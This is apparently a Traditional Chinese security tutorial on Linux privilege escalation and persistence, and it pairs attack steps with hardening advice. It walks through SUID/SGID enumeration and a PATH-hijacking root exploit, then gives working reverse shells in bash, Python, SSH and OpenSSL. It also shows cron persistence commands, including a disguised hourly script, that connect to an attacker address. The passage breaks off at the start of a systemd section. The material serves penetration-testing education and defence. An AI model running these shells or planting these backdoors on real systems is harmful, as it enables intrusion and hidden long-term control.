Linux權限機制與安全性基礎
Linux作為現代伺服器與雲端基礎設施的核心作業系統,其安全性建立在嚴謹的權限控制機制之上。理解這些權限機制的運作原理,不僅是系統管理員的必備知識,更是資訊安全專業人員進行滲透測試與安全評估時的關鍵能力。當我們深入探討Linux系統的安全性時,特權提升(Privilege Escalation)與持久化(Persistence)是兩個核心概念,它們分別代表了攻擊者在入侵系統後的關鍵目標。
特權提升指的是攻擊者從低權限帳戶取得高權限甚至root權限的過程。在真實的攻擊場景中,攻擊者往往先透過各種手段取得系統的初始存取權限,這個初始權限通常是一般使用者層級。要執行敏感操作、存取受保護的檔案、或是安裝持久化機制,攻擊者必須將權限提升至root層級。這個過程可能利用系統設定錯誤、軟體漏洞、或是權限管理上的缺陷。
持久化則是確保攻擊者能夠長期維持對系統的控制權。在滲透測試的脈絡中,持久化技術讓測試人員能夠在不同測試階段維持系統存取,避免因為連線中斷或系統重啟而失去控制權。從防禦角度來看,理解各種持久化技術的運作方式,能夠幫助系統管理員建立有效的偵測與防護機制。
在台灣的資訊安全實務中,企業面臨的威脅不僅來自外部攻擊者,內部威脅同樣不容忽視。一個具有基本系統存取權限的內部人員,如果利用權限提升技術取得更高權限,可能對組織造成嚴重損害。因此,無論是從攻擊還是防禦的角度,深入理解這些技術都至關重要。
玄貓認為,資訊安全專業人員必須同時具備攻擊者與防禦者的思維。只有真正理解攻擊技術的原理與實作方式,才能建立有效的防護機制。本文將從技術實作的角度,深入探討Linux系統中的特權提升與持久化機制,並在每個環節提供相應的防護建議。
SUID與SGID權限機制深度解析
Linux的檔案權限系統是一個精巧的設計,它透過使用者(User)、群組(Group)與其他人(Others)三個維度,以及讀(Read)、寫(Write)、執行(Execute)三種操作,構建起基礎的存取控制機制。但在某些場景下,這種基本的權限模型並不足以滿足需求。例如,當一般使用者需要執行某些需要特殊權限的操作時,如變更密碼需要寫入/etc/shadow檔案,就需要更靈活的權限提升機制。
SUID(Set User ID)與SGID(Set Group ID)正是為了解決這類需求而設計的特殊權限位元。當一個可執行檔設定了SUID位元,任何執行這個檔案的使用者,在執行過程中都會暫時取得檔案擁有者的權限。最常見的例子是passwd命令,它的擁有者是root且設定了SUID位元,因此一般使用者執行passwd時,能夠暫時以root權限寫入密碼檔案。
SGID的運作邏輯類似,但作用對象是群組權限。當可執行檔設定SGID位元時,執行者會暫時獲得檔案所屬群組的權限。SGID在目錄上的應用則有不同的效果,當目錄設定SGID位元時,在該目錄下建立的新檔案會自動繼承目錄的群組,而非建立者的預設群組。這個特性在共享協作環境中特別有用。
從安全角度來看,SUID與SGID機制本身並非漏洞,而是系統設計的必要功能。但如果設定不當或是SUID程式本身存在漏洞,就可能成為特權提升的途徑。攻擊者會系統性地搜尋所有設定SUID或SGID的檔案,評估這些檔案是否可被利用來提升權限。
設定SUID位元的方法有兩種。符號模式使用chmod u+s filename,其中u代表使用者,s代表SUID位元。數字模式則在傳統的三位數權限前加上特殊權限位元,SUID的數字表示為4。例如,chmod 4755 filename中的4代表SUID,755代表使用者擁有讀寫執行權限(7),群組與其他人擁有讀取執行權限(5)。
SGID的設定方式類似,符號模式為chmod g+s filename,數字模式的特殊位元為2,例如chmod 2755 filename。當同時設定SUID與SGID時,數字相加為6,即chmod 6755 filename。
在檔案列表中,SUID與SGID的存在可以透過權限字串來識別。一般的可執行檔權限顯示為-rwxr-xr-x,如果設定了SUID,使用者權限的x會變成s,顯示為-rwsr-xr-x。如果設定了SGID,群組權限的x會變成s,顯示為-rwxr-sr-x。如果同時設定SUID與SGID,則顯示為-rwsr-sr-x。
值得注意的是,當權限位置顯示為大寫S時,表示設定了特殊位元但檔案本身不具備執行權限。這種情況通常是設定錯誤,因為對於不可執行的檔案設定SUID或SGID是沒有意義的。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120
title Linux檔案權限與特殊位元結構
object "標準權限結構" as std {
檔案類型: - (一般檔案)
使用者權限: rwx (7)
群組權限: r-x (5)
其他人權限: r-x (5)
數字表示: 755
}
object "SUID權限結構" as suid {
檔案類型: - (一般檔案)
使用者權限: rws (特殊)
群組權限: r-x (5)
其他人權限: r-x (5)
數字表示: 4755
特殊位元: SUID(4)
}
object "SGID權限結構" as sgid {
檔案類型: - (一般檔案)
使用者權限: rwx (7)
群組權限: r-s (特殊)
其他人權限: r-x (5)
數字表示: 2755
特殊位元: SGID(2)
}
object "SUID+SGID權限結構" as both {
檔案類型: - (一般檔案)
使用者權限: rws (特殊)
群組權限: r-s (特殊)
其他人權限: r-x (5)
數字表示: 6755
特殊位元: SUID+SGID(6)
}
note right of suid
當使用者執行此檔案時
暫時獲得檔案擁有者權限
常見於passwd等系統工具
end note
note right of sgid
執行檔:獲得檔案群組權限
目錄:新檔案繼承目錄群組
適用於共享協作環境
end note
@enduml
這個物件圖清楚展示了Linux權限系統的層次結構。從標準的三組權限(使用者、群組、其他人),到加入SUID或SGID特殊位元後的權限變化,每種權限組合都有其特定的應用場景與安全考量。理解這些權限結構是進行系統安全評估的基礎,也是正確設定檔案權限以避免安全風險的前提。
SUID與SGID檔案的系統化搜尋
在進行系統安全評估時,第一步就是全面盤點系統中所有設定特殊權限的檔案。這個過程不僅是滲透測試的常規步驟,也是系統加固時的必要檢查。Linux提供的find命令是執行這項任務的強大工具,透過適當的參數組合,可以精確地搜尋出所有具有SUID或SGID位元的檔案。
搜尋SUID檔案的命令為find / -perm -u=s -type f 2>/dev/null。讓我們逐一解析這個命令的各個組成部分。find是Linux中用於檔案搜尋的基本工具,功能極為強大。斜線(/)指定從根目錄開始搜尋,這確保了搜尋的完整性,不會遺漏任何目錄下的檔案。
-perm -u=s參數是權限搜尋的核心部分。perm代表permission(權限),u代表user(使用者),s代表set-user-ID位元。這個參數組合告訴find命令只回傳那些使用者權限位元被設定為s的檔案。另一種等效的寫法是-perm -4000,其中4代表SUID位元,000表示我們只關心SUID位元,不關心其他權限位元的具體值。
-type f參數限定只搜尋一般檔案(regular files),排除目錄、符號連結、裝置檔案等其他類型。這個限制很重要,因為SUID與SGID對於目錄或符號連結的意義與一般檔案不同,我們在搜尋潛在安全風險時,主要關注的是可執行的一般檔案。
2>/dev/null是一個重定向操作,它將標準錯誤輸出(檔案描述符2)重定向到/dev/null,也就是丟棄所有錯誤訊息。在搜尋整個檔案系統時,會遇到許多沒有讀取權限的目錄,find命令會對這些目錄產生"Permission denied"錯誤訊息。這些錯誤訊息會干擾我們查看真正有用的搜尋結果,因此將它們過濾掉。
搜尋SGID檔案的命令結構完全相同,只是將權限參數改為-perm -g=s或-perm -2000。這個命令會找出所有群組權限位元被設定為s的檔案。
在實際的安全評估工作中,這兩個命令通常會先後執行,得到的結果需要仔細分析。不是所有具有SUID或SGID的檔案都代表安全風險,系統中有許多合法的SUID程式,如passwd、sudo、su等。但如果發現不尋常的SUID檔案,特別是位於使用者家目錄或/tmp等可寫入目錄中的SUID檔案,就需要特別注意。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120
title SUID/SGID檔案搜尋與分析流程
(*) --> "執行find命令搜尋"
"執行find命令搜尋" --> if "搜尋SUID?" then
-->[是] "find / -perm -u=s -type f"
else
-->[否] "find / -perm -g=s -type f"
endif
"find / -perm -u=s -type f" --> "取得SUID檔案清單"
"find / -perm -g=s -type f" --> "取得SGID檔案清單"
"取得SUID檔案清單" --> "分析檔案清單"
"取得SGID檔案清單" --> "分析檔案清單"
"分析檔案清單" --> if "檔案位置是否異常?" then
-->[是] "標記為高風險"
note right
異常位置包含:
/tmp目錄
使用者家目錄
可寫入的共享目錄
end note
else
-->[否] "檢查檔案擁有者"
endif
"標記為高風險" --> "深入分析檔案"
"檢查檔案擁有者" --> if "擁有者是root?" then
-->[是] "檢查檔案來源"
else
-->[否] "標記為中風險"
endif
"檢查檔案來源" --> if "屬於系統套件?" then
-->[是] "列為正常SUID"
note right
系統標準SUID程式:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/bin/mount
end note
else
-->[否] "標記為可疑檔案"
endif
"標記為中風險" --> "深入分析檔案"
"標記為可疑檔案" --> "深入分析檔案"
"深入分析檔案" --> "使用file命令確認檔案類型"
"使用file命令確認檔案類型" --> "使用strings命令檢查內容"
"使用strings命令檢查內容" --> "檢查檔案權限設定"
"檢查檔案權限設定" --> if "其他人可執行?" then
-->[是] "存在權限提升風險"
else
-->[否] "風險相對較低"
endif
"列為正常SUID" --> "建立系統基線清單"
"存在權限提升風險" --> "提出安全建議"
"風險相對較低" --> "建立系統基線清單"
"提出安全建議" --> (*)
"建立系統基線清單" --> (*)
@enduml
這個活動圖展現了完整的SUID/SGID檔案搜尋與分析流程。從初始的檔案搜尋,經過多層次的風險評估,到最終的安全建議產出,每個步驟都有明確的判斷標準。這個流程不僅適用於滲透測試,也是系統管理員進行定期安全檢查時應該遵循的標準程序。透過建立系統基線清單並定期比對,可以及時發現新增的異常SUID檔案。
在實務操作中,搜尋結果需要與已知的系統基線進行比對。每個Linux發行版都有一組標準的SUID程式,這些是系統正常運作所必需的。透過將搜尋結果與基線比對,可以快速識別出新增的或異常的SUID檔案。許多自動化安全工具如AIDE(Advanced Intrusion Detection Environment)或Tripwire,就是基於這個原理來偵測檔案系統的異常變更。
對於發現的每個SUID檔案,都應該使用file命令確認其檔案類型。file命令會分析檔案的magic number與內容結構,判斷檔案的真實類型。例如,file /usr/bin/passwd會顯示這是一個ELF 64位元可執行檔。如果一個檔案被設定SUID但file命令顯示它是文字檔或腳本,這通常代表設定錯誤或惡意行為。
strings命令則用於從二進位檔案中提取可讀的字串,這能幫助我們理解程式的行為。透過strings /path/to/suid_file,可以看到程式中硬編碼的路徑、錯誤訊息、系統呼叫等資訊。如果發現程式使用相對路徑呼叫其他命令或腳本,這可能是一個可利用的弱點。
相對路徑漏洞的利用原理與實踐
相對路徑漏洞是SUID程式中最常見也最容易被利用的安全弱點之一。這個漏洞源於程式設計時的一個常見錯誤:在呼叫外部命令時使用相對路徑而非絕對路徑。理解這個漏洞的原理,需要先了解Linux系統中命令搜尋的機制。
當使用者在Shell中輸入一個命令時,如果命令名稱不包含路徑分隔符號(/),Shell會依序搜尋PATH環境變數中列出的目錄,尋找與命令名稱相符的可執行檔。PATH環境變數通常包含類似/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin這樣的目錄列表。Shell會從左到右搜尋這些目錄,找到第一個符合的可執行檔就執行它。
問題在於,如果一個SUID程式在程式碼中使用相對路徑呼叫命令,例如直接呼叫cat file.txt而非/bin/cat file.txt,那麼這個程式執行時同樣會依賴PATH環境變數來尋找cat命令。攻擊者可以修改PATH環境變數,將一個包含惡意cat的目錄放在PATH的最前面。當SUID程式執行時,它會以root權限執行攻擊者提供的惡意cat,從而實現權限提升。
讓我們透過一個具體的例子來理解這個漏洞的利用過程。假設系統中存在一個SUID程式/home/user3/shell,這個程式的擁有者是root,並且設定了SUID位元。使用strings命令檢查這個程式,發現程式碼中有對.script.sh的呼叫。
strings /home/user3/shell
在strings的輸出中,我們看到程式使用相對路徑呼叫.script.sh,而非絕對路徑如/home/user3/.script.sh。這就是我們可以利用的弱點。利用步驟如下:
首先,在一個我們有寫入權限的目錄(如/tmp)中,建立一個惡意的.script.sh檔案。這個腳本的內容很簡單,就是啟動一個具有root權限的Shell:
cd /tmp
echo '#!/bin/bash' > .script.sh
echo '/bin/bash' >> .script.sh
chmod +x .script.sh
接著,修改PATH環境變數,將/tmp目錄放在最前面:
export PATH=/tmp:$PATH
現在,當我們執行/home/user3/shell時,這個SUID程式會以root權限執行,並且在搜尋.script.sh時,會先在PATH的第一個目錄也就是/tmp中找到我們的惡意腳本。由於SUID程式以root權限執行,我們的惡意腳本也會以root權限執行,最終啟動一個root Shell。
/home/user3/shell
執行這個命令後,我們會得到一個root Shell,可以透過id命令確認當前的使用者身分確實是root。這就完成了從一般使用者權限到root權限的提升。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam packageStyle rectangle
title 相對路徑漏洞利用攻擊流程
actor "一般使用者" as user
participant "SUID程式\n(/home/user3/shell)" as suid
participant "Shell環境" as shell
participant "檔案系統" as fs
actor "Root權限Shell" as root
user -> suid : 1. 使用strings檢查程式
suid --> user : 發現使用相對路徑\n呼叫.script.sh
user -> fs : 2. 在/tmp建立惡意.script.sh
note right
echo '#!/bin/bash' > /tmp/.script.sh
echo '/bin/bash' >> /tmp/.script.sh
chmod +x /tmp/.script.sh
end note
fs --> user : 惡意腳本建立完成
user -> shell : 3. 修改PATH環境變數
note right
export PATH=/tmp:$PATH
將/tmp置於PATH最前面
end note
shell --> user : PATH已更新
user -> suid : 4. 執行SUID程式\n/home/user3/shell
activate suid
suid -> shell : 搜尋.script.sh\n依據PATH順序
shell -> fs : 在/tmp中搜尋
fs --> shell : 找到/tmp/.script.sh
shell --> suid : 回傳惡意腳本路徑
suid -> fs : 以root權限執行\n/tmp/.script.sh
activate fs
fs -> root : 啟動root Shell
deactivate fs
deactivate suid
root --> user : 取得root權限
note right
現在擁有完整的
系統管理員權限
end note
@enduml
這個序列圖詳細展示了相對路徑漏洞的利用過程。從初始的漏洞發現,到惡意腳本的準備,再到環境變數的操縱,最後成功取得root權限,每個步驟都清楚地標示了參與的組件與資料流向。這種視覺化的呈現方式,能夠幫助理解攻擊的完整邏輯鏈。
這個攻擊之所以能夠成功,關鍵在於幾個因素的結合。首先,SUID程式使用相對路徑呼叫外部腳本,這是程式設計上的缺陷。其次,程式沒有清理或重設環境變數,特別是PATH變數,導致可以被攻擊者操縱。第三,攻擊者有一個可寫入的目錄(如/tmp)來放置惡意腳本。
要防禦這類攻擊,程式開發者應該遵循幾個安全準則。最重要的是,所有外部命令的呼叫都應該使用絕對路徑。例如,不要寫system("cat file.txt"),而應該寫system("/bin/cat file.txt")。其次,在SUID程式的開頭,應該明確地設定一個安全的PATH環境變數,例如putenv("PATH=/usr/local/bin:/usr/bin:/bin")。第三,盡可能避免在SUID程式中呼叫外部命令,改用函式庫提供的API來實現相同功能。
從系統管理的角度,應該定期審查系統中的SUID程式,特別是非系統套件安裝的SUID程式。對於發現的SUID程式,可以使用strace工具來追蹤其系統呼叫,檢查是否有可疑的行為。如果某個SUID程式不是必要的,最好的做法是移除其SUID位元。
SUID檔案的權限加固策略
當我們識別出系統中可能存在風險的SUID檔案後,下一步就是進行適當的權限加固。移除所有SUID位元可能會影響系統功能,因此需要採取更精細的策略,在保持必要功能的同時最大化安全性。
權限加固的核心原則是最小權限原則(Principle of Least Privilege)。這個原則要求系統中的每個程式、每個使用者都應該只擁有完成其任務所必需的最小權限,不應該有任何多餘的權限。對於SUID檔案,這意味著我們需要限制誰可以執行這個檔案。
以前面提到的/home/user3/shell為例,原始的檔案權限可能是4755。讓我們解析這個數字的含義。第一位的4代表SUID位元,後三位的755表示使用者具有讀、寫、執行權限(7=4+2+1),群組具有讀、執行權限(5=4+1),其他人也具有讀、執行權限(5=4+1)。
這種權限設定的問題在於,任何系統使用者都可以執行這個SUID檔案。如果檔案中存在漏洞,任何使用者都可以利用它來提升權限。要加固這個檔案,我們可以將權限改為4750。
chmod 4750 /home/user3/shell
新的權限4750表示:SUID位元保持不變(4),使用者仍然具有讀、寫、執行權限(7),群組具有讀、執行權限(5),但其他人沒有任何權限(0)。這樣的設定確保只有檔案的擁有者(通常是root)或是檔案所屬群組的成員才能執行這個程式。
在某些情況下,我們可能希望進一步限制,只允許檔案擁有者執行,連群組成員都不允許。這時可以將權限設定為4700。
chmod 4700 /home/user3/shell
這個設定的意思是:保持SUID位元(4),使用者具有完整權限(7),但群組與其他人都沒有任何權限(0)。這是最嚴格的限制,確保只有root使用者能夠執行這個程式。
除了透過權限限制執行者,我們還可以考慮使用ACL(Access Control Lists)來實現更精細的存取控制。ACL允許我們為個別使用者或群組設定特定的權限,而不受限於傳統的使用者-群組-其他人三分法。
# 移除其他人的權限
chmod 4750 /home/user3/shell
# 使用ACL授予特定使用者執行權限
setfacl -m u:specificuser:rx /home/user3/shell
這種方法的優勢在於,我們可以精確控制哪些使用者有權執行SUID程式,而不需要將他們都加入同一個群組。
另一個重要的加固策略是定期審核SUID檔案的變更。系統管理員應該建立一個SUID檔案的基線清單,並定期比對當前系統狀態與基線的差異。任何新增的SUID檔案都應該經過審查與批准。這個審核過程可以透過腳本自動化:
#!/bin/bash
# SUID檔案審核腳本
BASELINE="/etc/security/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"
# 搜尋當前所有SUID檔案
find / -perm -u=s -type f 2>/dev/null | sort > "$CURRENT"
# 比對基線與當前狀態
if [ -f "$BASELINE" ]; then
diff "$BASELINE" "$CURRENT" | grep "^>" | sed 's/^> /新增SUID檔案: /'
diff "$BASELINE" "$CURRENT" | grep "^<" | sed 's/^< /移除SUID檔案: /'
else
echo "基線檔案不存在,建立新基線"
cp "$CURRENT" "$BASELINE"
fi
這個腳本會搜尋系統中所有的SUID檔案,與基線清單比對,並報告任何差異。系統管理員可以將這個腳本加入到定期執行的維護任務中。
對於不再需要SUID位元的檔案,最安全的做法當然是完全移除SUID位元:
chmod u-s /home/user3/shell
但這需要確認移除SUID不會影響系統功能。在移除前,最好在測試環境中先驗證影響範圍。
反向Shell的原理與實作技術
反向Shell是滲透測試與攻擊活動中最常用的技術之一。與傳統的正向連線不同,反向Shell是由受害主機主動向攻擊者的主機發起連線,並提供一個Shell介面供攻擊者操作。這種技術之所以有效,主要是因為大多數網路環境都設有防火牆阻擋外部的入站連線,但對內部主機發起的出站連線限制較少。
理解反向Shell的原理,需要先了解Shell的輸入輸出重定向機制。在Unix系統中,每個程式都有三個標準檔案描述符:標準輸入(stdin,檔案描述符0)、標準輸出(stdout,檔案描述符1)和標準錯誤(stderr,檔案描述符2)。正常情況下,這三個檔案描述符分別對應到終端機的鍵盤和螢幕。
反向Shell的核心概念是將Shell的標準輸入輸出重定向到網路連線。當受害主機建立一個到攻擊者主機的TCP連線後,將Shell的stdin、stdout和stderr都重定向到這個網路連線,這樣攻擊者就可以透過網路來操作Shell,如同在本地終端一樣。
最簡單的Bash反向Shell可以用一行命令實現:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
讓我們詳細解析這個命令的每個組成部分。bash -i啟動一個互動式的Bash Shell,-i參數確保Shell以互動模式執行,這樣才能正確處理提示符號與命令輸入。
>&是一個重定向操作符,它將標準輸出與標準錯誤都重定向到後面指定的位置。/dev/tcp/192.168.1.100/4444是Bash提供的一個特殊裝置檔案,當你讀取或寫入這個檔案時,Bash會自動建立一個到指定IP位址與埠的TCP連線。在這個例子中,192.168.1.100是攻擊者的IP位址,4444是攻擊者監聽的埠號。
0>&1是另一個重定向操作,它將標準輸入(檔案描述符0)重定向到標準輸出(檔案描述符1)所指向的位置。由於標準輸出已經被重定向到網路連線,這個操作實際上也將標準輸入連接到同一個網路連線。
在攻擊者的主機上,需要先啟動一個監聽程式來接收反向Shell連線。最常用的工具是netcat(nc):
nc -lvnp 4444
這個命令中,-l表示監聽模式,-v表示詳細輸出,-n表示不進行DNS解析,-p 4444指定監聽的埠號。當受害主機執行反向Shell命令後,攻擊者就會在netcat的視窗中看到Shell提示符號,可以開始執行命令。
反向Shell的實作方式有很多種,除了Bash的內建功能,也可以使用其他工具或程式語言。Python是一個常見的選擇,因為大多數Linux系統都預裝了Python:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.100",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
這段Python程式碼的邏輯與Bash反向Shell相同,但更明確地展示了每個步驟:建立socket連線,將檔案描述符重定向到socket,然後啟動Shell。
Perl、Ruby、PHP等語言也都可以實現反向Shell,原理都是相同的。選擇哪種實作方式,通常取決於目標系統上可用的工具與環境。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120
title 反向Shell連線建立流程
participant "攻擊者主機\n192.168.1.100" as attacker
participant "防火牆" as firewall
participant "受害主機\n192.168.1.200" as victim
== 階段一:監聽準備 ==
attacker -> attacker : 啟動netcat監聽\nnc -lvnp 4444
note right
監聽本地埠4444
等待入站連線
end note
== 階段二:反向連線建立 ==
victim -> victim : 執行反向Shell命令\nbash -i >& /dev/tcp/192.168.1.100/4444 0>&1
note left
建立到攻擊者的
出站TCP連線
end note
victim -> firewall : TCP連線請求\n目的地:192.168.1.100:4444
note right
出站連線
通常被防火牆允許
end note
firewall -> attacker : 轉發連線請求
== 階段三:連線確立 ==
attacker --> firewall : TCP三向交握\nSYN-ACK
firewall --> victim : 轉發回應
victim -> firewall : ACK確認
firewall -> attacker : 轉發確認
== 階段四:Shell互動 ==
attacker -> firewall : 發送命令:\nid
firewall -> victim : 轉發命令
victim -> victim : 執行命令
victim -> firewall : 回傳結果:\nuid=1000(user)
firewall -> attacker : 轉發結果
attacker -> attacker : 顯示命令輸出
note over attacker,victim
此時攻擊者可以在受害主機上
執行任意命令,如同本地Shell
end note
@enduml
這個序列圖清楚展示了反向Shell的完整建立過程。特別重要的是理解為什麼反向Shell能夠繞過防火牆的阻擋。防火牆通常設定為阻止外部的入站連線,但允許內部主機發起的出站連線。反向Shell正是利用了這個不對稱的存取控制策略,由受害主機主動發起連線,從而避開防火牆的限制。
反向Shell的一個重要變種是加密的反向Shell。明文的反向Shell流量容易被網路監控系統偵測,因此攻擊者可能會使用加密通道。最簡單的方法是透過SSH實現反向Shell:
ssh -R 4444:localhost:22 [email protected]
這個命令會建立一個SSH反向通道,將攻擊者主機的4444埠對應到受害主機的22埠(SSH服務)。攻擊者隨後可以透過localhost:4444來連線到受害主機的SSH服務。
另一種加密方式是使用OpenSSL來建立加密的反向Shell:
# 攻擊者端
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# 受害端
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.100:4444 > /tmp/s; rm /tmp/s
這種加密的反向Shell使用SSL/TLS協定,流量看起來就像正常的HTTPS通訊,更難被偵測。
Cron排程任務的持久化應用
Cron是Unix/Linux系統中用於定時執行任務的守護程式,它讓系統管理員可以排程定期執行的工作,如備份、日誌清理、系統監控等。但從安全角度來看,Cron也是攻擊者實現持久化的重要手段。理解Cron的運作機制與潛在的安全風險,對於系統防護至關重要。
Cron系統由幾個組成部分構成。核心是cron守護程式,它在系統啟動時自動啟動,並持續執行檢查是否有需要執行的任務。任務的定義儲存在crontab(cron table)檔案中,每個使用者可以有自己的crontab檔案,系統也有全域的crontab檔案。
Crontab檔案的每一行定義一個排程任務,格式為五個時間欄位加上要執行的命令。時間欄位分別代表分鐘(0-59)、小時(0-23)、月份日期(1-31)、月份(1-12)和星期幾(0-7,其中0和7都代表星期日)。每個欄位可以使用數字、範圍、列表或星號(代表任意值)。
例如,30 2 * * * /path/to/backup.sh表示每天凌晨2點30分執行備份腳本。*/15 * * * * /path/to/monitor.sh表示每15分鐘執行一次監控腳本。0 9-17 * * 1-5 /path/to/workday.sh表示週一到週五的上午9點到下午5點,每小時的0分執行工作日腳本。
使用者可以透過crontab -e命令編輯自己的crontab檔案,透過crontab -l查看當前的排程任務,透過crontab -r刪除所有排程任務。Root使用者還可以使用crontab -u username -e來編輯其他使用者的crontab。
從攻擊者的角度來看,Cron提供了一個完美的持久化機制。一旦攻擊者取得系統存取權限,可以在crontab中新增一個定期執行的任務,建立反向Shell或執行其他惡意操作。即使攻擊者的初始存取方式被發現並封堵,Cron任務仍會在背景默默執行,定期重新建立連線。
一個典型的基於Cron的持久化攻擊可能像這樣:
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'") | crontab -
這個命令的邏輯是:先讀取當前的crontab內容,然後附加一個新的任務,最後將整個內容寫回crontab。這樣做的好處是不會覆蓋原有的排程任務,降低被發現的機率。新增的任務會每5分鐘嘗試建立一個反向Shell連線。
攻擊者還可能利用系統級的cron目錄來部署持久化機制。在大多數Linux系統中,/etc/cron.d/、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/和/etc/cron.weekly/等目錄中的腳本會被自動執行。如果攻擊者有root權限,可以在這些目錄中放置惡意腳本。
# 在/etc/cron.hourly/中建立每小時執行的持久化腳本
echo '#!/bin/bash' > /etc/cron.hourly/system-check
echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 &' >> /etc/cron.hourly/system-check
chmod +x /etc/cron.hourly/system-check
這個腳本會被偽裝成系統檢查腳本,每小時執行一次,嘗試建立反向Shell連線。命令末尾的&符號讓連線在背景執行,避免阻塞腳本的完成,這樣即使連線失敗,腳本也能正常結束,不會引起cron的錯誤通知。
Cron的另一個攻擊面是特權提升。如果攻擊者可以修改一個以root身分執行的cron任務所呼叫的腳本,就可以實現特權提升。例如,假設系統中有一個root的cron任務執行/opt/backup/daily.sh,而這個腳本對一般使用者是可寫的,攻擊者就可以修改這個腳本,加入惡意程式碼。當cron以root權限執行這個腳本時,惡意程式碼也會以root權限執行。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 120
title Cron持久化機制運作流程
(*) --> "攻擊者取得系統存取權限"
"攻擊者取得系統存取權限" --> "選擇持久化策略"
"選擇持久化策略" --> if "使用者級還是系統級?" then
-->[使用者級] "修改使用者crontab"
else
-->[系統級] "放置系統cron腳本"
endif
"修改使用者crontab" --> "備份現有crontab"
"備份現有crontab" --> "附加惡意任務"
note right
crontab -l > backup.txt
echo "*/5 * * * *
惡意命令" >> backup.txt
end note
"附加惡意任務" --> "寫回crontab"
"寫回crontab" --> "等待cron執行"
"放置系統cron腳本" --> if "選擇cron目錄" then
-->[每小時] "/etc/cron.hourly/"
-->[每日] "/etc/cron.daily/"
-->[每週] "/etc/cron.weekly/"
-->[每月] "/etc/cron.monthly/"
-->[自訂] "/etc/cron.d/"
endif
"/etc/cron.hourly/" --> "建立惡意腳本"
"/etc/cron.daily/" --> "建立惡意腳本"
"/etc/cron.weekly/" --> "建立惡意腳本"
"/etc/cron.monthly/" --> "建立惡意腳本"
"/etc/cron.d/" --> "建立惡意腳本"
"建立惡意腳本" --> "設定執行權限"
"設定執行權限" --> "偽裝腳本名稱"
note right
使用看起來正常的名稱
如:system-update
或:.hidden-check
end note
"偽裝腳本名稱" --> "等待cron執行"
"等待cron執行" --> "Cron守護程式檢查"
"Cron守護程式檢查" --> if "到達執行時間?" then
-->[是] "執行排程任務"
else
-->[否] "繼續等待"
--> "Cron守護程式檢查"
endif
"執行排程任務" --> "建立反向Shell連線"
"建立反向Shell連線" --> if "連線成功?" then
-->[是] "攻擊者取得Shell存取"
else
-->[否] "記錄失敗資訊"
endif
"攻擊者取得Shell存取" --> "維持系統控制"
"記錄失敗資訊" --> "等待下次執行時間"
"等待下次執行時間" --> "Cron守護程式檢查"
"維持系統控制" --> (*)
@enduml
這個活動圖完整呈現了基於Cron的持久化攻擊流程。從初始的存取權限取得,到選擇適當的持久化策略,再到實際部署與執行,每個決策點都清楚標示。特別值得注意的是,攻擊者會採取多種隱蔽手段,如偽裝腳本名稱、備份原有設定等,以降低被發現的機率。
防禦Cron持久化攻擊需要多層次的策略。首先是監控crontab的變更。系統管理員應該定期檢查所有使用者的crontab檔案,特別是那些不應該有cron任務的使用者帳戶。可以使用檔案完整性監控工具如AIDE或Tripwire來偵測cron相關檔案的異常變更。
其次是限制cron的使用權限。透過/etc/cron.allow和/etc/cron.deny檔案,可以控制哪些使用者有權使用cron。如果/etc/cron.allow存在,只有列在其中的使用者可以使用cron。如果只有/etc/cron.deny存在,所有未列在其中的使用者都可以使用cron。最安全的做法是建立一個/etc/cron.allow檔案,只列出需要使用cron的使用者,並且不要建立/etc/cron.deny。
第三是檢查系統cron目錄中的腳本。定期審查/etc/cron.d/、/etc/cron.hourly/等目錄中的所有腳本,確認它們的來源與用途。對於任何不明的腳本,都應該進行詳細的分析。
最後是網路監控。由於基於Cron的持久化攻擊通常涉及網路連線,監控異常的出站連線可以幫助偵測這類攻擊。特別是那些定期發生、目標為非常見埠或IP位址的連線,都應該引起警覺。
Systemd服務的持久化技術
Systemd是現代Linux系統中的初始化系統與服務管理器,它已經取代傳統的SysV init成為大多數主流發行版的預設選擇。Systemd提供了強大的服務管理功能,但同時也為攻擊者提供了另一個持久化的途徑。理解Systemd的運作機制與服務檔案的結構,對於系統安全至關重要。
Systemd使用單元(Unit)的概念來管理系統資源。服務(Service)是最常見的單元類型,用於管理守護程式與背景程式。每個服務都由一個.service檔案定義,這些檔案通常位於/etc/systemd/system/(系統管理員建立的服務)或/usr/lib/systemd/system/(軟體套件安裝的服務)目錄中。
